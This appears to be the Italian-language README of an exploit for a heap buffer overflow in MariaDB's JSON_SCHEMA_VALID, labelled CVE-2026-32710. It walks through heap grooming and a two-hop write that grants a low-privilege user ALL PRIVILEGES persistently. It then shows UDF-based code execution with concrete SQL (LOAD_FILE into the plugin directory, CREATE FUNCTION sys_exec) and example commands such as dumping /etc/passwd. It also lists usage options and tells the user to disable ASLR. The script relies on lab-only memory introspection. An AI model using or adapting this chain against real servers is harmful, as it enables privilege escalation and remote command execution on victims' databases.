CVE-2026-32710

Heap buffer overflow in MariaDB JSON_SCHEMA_VALID() → escalatione persistente dei privilegi → RCE via UDF

Assistito da laboratorio. Lo script usa Docker/introspezione root per leggere /proc/1/mem e scoprire il layout dell'heap per ogni connessione. La catena di exploit vera e propria è SQL puro su TCP. Un exploit weaponizzato richiederebbe una primitiva di info-leak per sostituire il passo di introspezione della memoria.

Prima

lowpriv può solo eseguire SELECT sul database test. Le tabelle di sistema sono negate.

Exploit

Un singolo script Python esegue il heap grooming, una scrittura arbitraria a due salti attraverso i metadati delle variabili utente, persiste l'escalation tramite GRANT ALL, e ottiene l'esecuzione di codice attraverso una UDF:

python3 exploit.py

Dopo

lowpriv ora ha ALL PRIVILEGES WITH GRANT OPTION, può leggere le tabelle di sistema, leggere/scrivere file arbitrari ed eseguire comandi del sistema operativo come utente mysql. La grant sopravvive al riavvio del server.

Fasi

Fase 1: Escalation dei privilegi

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-byte  │     │ Write to @c  │    │ Write to @a  │
   │ overflow   │     │ through the  │    │ through the  │
   │ corrupts   │     │ corrupted    │    │ redirected   │
   │ entry_c's  │     │ pointer:     │    │ pointer:     │
   │ value ptr  │     │              │    │              │
   │ (2-byte    │     │ entry_a →    │    │ master_access│
   │  partial   │     │   .value =   │    │   = 0xFFFF.. │
   │  overwrite)│     │   &master_   │    │ (ALL PRIVS)  │
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Heap groom — Più di 100 variabili utente esauriscono la tcache, forzando Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c a essere allocate consecutivamente.

2. Overflow — JSON_SCHEMA_VALID innesca uno strncpy di 192 byte oltre il buffer da 128 byte, corrompendo entry_c→value (sovrascrittura parziale del puntatore di 2 byte all'interno della stessa pagina da 64 KB) per puntare a entry_a + 32.

3. Hop 1 — L'assegnazione a @c scrive 126 byte attraverso il puntatore corrotto nei metadati di entry_a, impostando:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Hop 2 — L'assegnazione a @a scrive 8 byte di 0xFF attraverso il puntatore reindirizzato → .

Fase 2: RCE via UDF

Dopo la persistenza, il server viene riavviato (crash recovery), e i privilegi escalati vengono usati per installare una libreria condivisa UDF:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Vincoli chiave risolti

Setup del laboratorio

# 1. Build e avvio del container
./setup.sh

# 2. Disabilita ASLR sull'host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Esegui l'exploit (auto-calibra per ogni tentativo)
python3 exploit.py

# 4. Comando personalizzato
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Requisiti

• Docker (x86_64)
• Python 3
• ASLR disabilitato sull'host Docker (/proc/sys/kernel/randomize_va_space = 0)
• Il container gira con --cap-add SYS_PTRACE (per l'accesso a /proc/1/mem)

Opzioni

--calibrate      Misura le costanti del layout dell'heap ed esce
--cmd CMD        Comando per l'esecuzione UDF della Fase 2 (default: id > /tmp/pwned)
--stage1-only    Esegue solo l'escalation dei privilegi, salta la RCE via UDF
--attempts N     Numero massimo di tentativi per la Fase 1 (default: 5)
--host HOST      Host MariaDB (default: 127.0.0.1)
--port PORT      Porta MariaDB (default: 3306)

Cosa fornisce l'assistenza di laboratorio

Lo script dell'exploit entra nel container come root per leggere /proc/1/mem. Questo viene usato per due cose:

1. Scoperta del layout dell'heap — localizzare le tre struct sentinella user_var_entry e verificare che siano adiacenti (entry_a+32 nella stessa pagina da 64KB come entry_c→value per la sovrascrittura parziale di 2 byte).
2. Indirizzo di Security_context — trovare il campo master_access da colpire con la scrittura a due salti.

La scansione viene eseguita inline per ogni tentativo perché il layout dell'heap varia tra le connessioni (anche con ASLR=0) a causa del thread pool di MariaDB che assegna arena diverse. La catena di exploit vera e propria — overflow + hop1 + hop2 — è SQL puro eseguito su una connessione TCP.

In uno scenario reale, un attaccante avrebbe bisogno di una vulnerabilità separata di info-leak (o di un canale laterale) per ottenere questi indirizzi.

File